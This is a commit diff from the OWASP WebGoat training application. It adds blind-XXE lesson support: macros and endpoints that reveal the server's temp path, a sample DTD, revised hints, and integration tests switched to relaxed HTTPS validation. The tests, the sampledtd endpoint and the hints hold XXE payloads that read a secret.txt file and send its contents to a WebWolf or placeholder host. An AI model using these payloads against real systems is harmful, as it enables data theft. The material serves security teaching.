xxe path info (#670)

* xxe path info aid added

* xxe path info aid added

*  changes to template file and hints

* added ssl test support for XXE

* added ssl test support for XXE

* restconfig replaced by httpsrelaxed

* processed review comments on hints and example
This commit is contained in:
René Zubcevic 2019-10-02 09:59:32 +02:00 committed by GitHub
parent 7536770769
commit 663224d06a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
13 changed files with 152 additions and 52 deletions

View File

@ -35,6 +35,8 @@ import com.google.common.collect.Sets;
import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor;
import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.asciidoc.OperatingSystemMacro;
import org.owasp.webgoat.asciidoc.WebGoatTmpDirMacro;
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
import org.owasp.webgoat.asciidoc.WebWolfMacro;
import org.owasp.webgoat.asciidoc.WebWolfRootMacro;
@ -84,6 +86,8 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new StringTemplateResource(writer.getBuffer().toString());

View File

@ -0,0 +1,18 @@
package org.owasp.webgoat.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
public class OperatingSystemMacro extends InlineMacroProcessor {
public OperatingSystemMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
return System.getProperty("os.name");
}
}

View File

@ -0,0 +1,17 @@
package org.owasp.webgoat.asciidoc;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
import java.util.Map;
public class WebGoatTmpDirMacro extends InlineMacroProcessor {
public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
return EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
}
}

View File

@ -2,12 +2,6 @@ package org.owasp.webgoat.asciidoc;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.springframework.core.env.Environment;
import org.springframework.util.StringUtils;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import java.util.Map;
public class WebGoatVersionMacro extends InlineMacroProcessor {

View File

@ -39,7 +39,7 @@ public class GeneralLessonTest extends IntegrationTest {
public void httpProxies() {
startLesson("HttpProxies");
Assert.assertThat(RestAssured.given()
.when().config(restConfig).cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
@ -82,7 +82,7 @@ public class GeneralLessonTest extends IntegrationTest {
checkResults("/auth-bypass/");
startLesson("HttpProxies");
Assert.assertThat(RestAssured.given().when().config(restConfig).cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
Assert.assertThat(RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")).then()
.statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
@ -101,7 +101,7 @@ public class GeneralLessonTest extends IntegrationTest {
String result =
RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")

View File

@ -22,12 +22,13 @@ import static io.restassured.RestAssured.given;
public abstract class IntegrationTest {
protected static int WG_PORT = 8080;
protected static int WG_PORT = 8843;
protected static int WW_PORT = 9090;
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
//This also allows to test the application with HTTPS when outside testing option is used
//TODO no longer required but will be removed once all usages are removed
protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation());
@Getter
@ -42,11 +43,15 @@ public abstract class IntegrationTest {
@BeforeClass
public static void beforeAll() {
if (WG_SSL) {
WEBGOAT_URL = WEBGOAT_URL.replace("http:","https:");
}
if (!started) {
started = true;
if (!isAlreadyRunning(WG_PORT)) {
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_PORT", WG_PORT));
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
wgs.run();
}
@ -80,9 +85,10 @@ public abstract class IntegrationTest {
@Before
public void login() {
String location = given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("password", "password")
.post(url("login")).then()
@ -92,7 +98,7 @@ public abstract class IntegrationTest {
if (location.endsWith("?error")) {
webGoatCookie = RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("password", "password")
.formParam("matchingPassword", "password")
@ -106,7 +112,7 @@ public abstract class IntegrationTest {
} else {
webGoatCookie = given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("password", "password")
.post(url("login")).then()
@ -117,7 +123,7 @@ public abstract class IntegrationTest {
webWolfCookie = RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("password", "password")
.post(WEBWOLF_URL + "login")
@ -132,7 +138,7 @@ public abstract class IntegrationTest {
public void logout() {
RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.get(url("logout"))
.then()
.statusCode(200);
@ -146,7 +152,7 @@ public abstract class IntegrationTest {
public void startLesson(String lessonName) {
RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url(lessonName + ".lesson.lesson"))
.then()
@ -154,7 +160,7 @@ public abstract class IntegrationTest {
RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/restartlesson.mvc"))
.then()
@ -174,7 +180,7 @@ public abstract class IntegrationTest {
Assert.assertThat(
RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url)
@ -196,7 +202,7 @@ public abstract class IntegrationTest {
Assert.assertThat(
RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.put(url)
@ -208,7 +214,7 @@ public abstract class IntegrationTest {
public void checkResults(String prefix) {
Assert.assertThat(RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.then()
@ -216,7 +222,7 @@ public abstract class IntegrationTest {
Assert.assertThat(RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.then()
@ -228,7 +234,7 @@ public abstract class IntegrationTest {
Assert.assertThat(
RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie())
.body(body)

View File

@ -76,7 +76,7 @@ public class JWTLessonTest extends IntegrationTest {
String accessToken = RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/secret/gettoken"))
.then()
@ -87,7 +87,7 @@ public class JWTLessonTest extends IntegrationTest {
Assert.assertThat(
RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret))
.post(url("/WebGoat/JWT/secret"))
@ -101,7 +101,7 @@ public class JWTLessonTest extends IntegrationTest {
private void resetVotes() throws IOException {
String accessToken = RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
.then()
@ -128,7 +128,7 @@ public class JWTLessonTest extends IntegrationTest {
Assert.assertThat(
RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken)
.post(url("/WebGoat/JWT/votings"))

View File

@ -29,7 +29,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
var responseBody = RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail"))
.then()
@ -41,7 +41,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
private void changePassword(String link) {
RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456")
.post(url("PasswordReset/reset/change-password"))
@ -52,7 +52,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
private String getPasswordResetLinkFromLandingPage() {
var responseBody = RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("WebWolf/requests"))
.then()
@ -66,7 +66,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
RestAssured.given()
.when()
.header("host", "localhost:9090")
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user)
.post(url("PasswordReset/ForgotPassword/create-password-reset-link"))

View File

@ -17,14 +17,17 @@ public class XXETest extends IntegrationTest {
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
private String webGoatHomeDirectory = System.getProperty("user.dir").concat("/target/.webgoat");
private String webwolfFileDir = System.getProperty("user.dir").concat("/target/webwolf-fileserver");
private String webGoatHomeDirectory;
private String webwolfFileDir;
@Test
public void runTests() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = getWebGoatServerPath();
webwolfFileDir = getWebWolfServerPath();
checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true);
checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true);
@ -55,7 +58,7 @@ public class XXETest extends IntegrationTest {
//upload DTD
RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
@ -69,7 +72,7 @@ public class XXETest extends IntegrationTest {
//read results from WebWolf
String result = RestAssured.given()
.when()
.config(restConfig)
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
@ -79,4 +82,32 @@ public class XXETest extends IntegrationTest {
return result;
}
private String getWebGoatServerPath() throws IOException {
//read path from server
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/xxe/tmpdir"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
return result;
}
private String getWebWolfServerPath() throws IOException {
//read path from server
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/tmpdir"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
return result;
}
}

View File

@ -29,14 +29,17 @@ import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import static org.springframework.http.MediaType.ALL_VALUE;
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
/**
* @author nbaars
* @since 4/8/17.
@ -50,6 +53,11 @@ public class SimpleXXE extends AssignmentEndpoint {
@Value("${webgoat.server.directory}")
private String webGoatHomeDirectory;
@Value("${webwolf.url.landingpage}")
private String webWolfURL;
@Autowired
private Comments comments;
@ -77,4 +85,20 @@ public class SimpleXXE extends AssignmentEndpoint {
}
return success;
}
@RequestMapping(path="/xxe/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getWebGoatHomeDirectory() {
return webGoatHomeDirectory;
}
@RequestMapping(path="/xxe/sampledtd",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getSampleDTDFile() {
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n" +
"%all;";
}
}

View File

@ -42,5 +42,5 @@ xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: &lt;?xml version="1.0"?&gt;&lt;!DOCTYPE comment [&lt;!ENTITY % remote SYSTEM "http://localhost:9090/files/test1234/test.dtd"&gt;%remote;]&gt;&lt;comment&gt;&lt;text&gt;test&send;&lt;/text&gt;&lt;/comment&gt;
xxe.blind.hints.4=An example DTD can be found [[webgoat base url]]/WebGoat/xxe/sampledtd, include this DTD in the xml comment
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: &lt;?xml version="1.0"?&gt;&lt;!DOCTYPE comment [&lt;!ENTITY % remote SYSTEM "[[webwolf base url]]/files/[[user]]/test.dtd"&gt;%remote;]&gt;&lt;comment&gt;&lt;text&gt;test&send;&lt;/text&gt;&lt;/comment&gt;

View File

@ -1,21 +1,16 @@
== Blind XXE assignment
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your
DTD.
which will upload the contents of a file secret.txt from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD.
The secret.txt is located on the WebGoat server in this location, so you do not need to scan all directories and files:
|===
|OS |Location
|Linux
|`/home/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|`operatingSystem:os[]`
|`webGoatTempDir:temppath[]/XXE/secret.txt`
|Windows
|`c:/Users/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|Docker
|`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|===
Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink]`

View File

@ -31,17 +31,23 @@ import lombok.extern.slf4j.Slf4j;
import org.apache.commons.io.FileUtils;
import org.owasp.webwolf.user.WebGoatUser;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.MediaType;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.view.RedirectView;
import javax.servlet.http.HttpServletRequest;
import static org.springframework.http.MediaType.ALL_VALUE;
import java.io.File;
import java.util.List;
@ -53,18 +59,23 @@ import java.util.List;
public class FileServer {
@Value("${webwolf.fileserver.location}")
private String fileLocatation;
private String fileLocation;
@Value("${server.address}")
private String server;
@Value("${server.port}")
private int port;
@RequestMapping(path="/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getFileLocation() {
return fileLocation;
}
@PostMapping(value = "/WebWolf/fileupload")
@SneakyThrows
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) {
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
File destinationDir = new File(fileLocatation, user.getUsername());
File destinationDir = new File(fileLocation, user.getUsername());
destinationDir.mkdirs();
myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));
log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename()));
@ -90,7 +101,7 @@ public class FileServer {
public ModelAndView getFiles(HttpServletRequest request) {
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
String username = user.getUsername();
File destinationDir = new File(fileLocatation, username);
File destinationDir = new File(fileLocation, username);
ModelAndView modelAndView = new ModelAndView();
modelAndView.setViewName("files");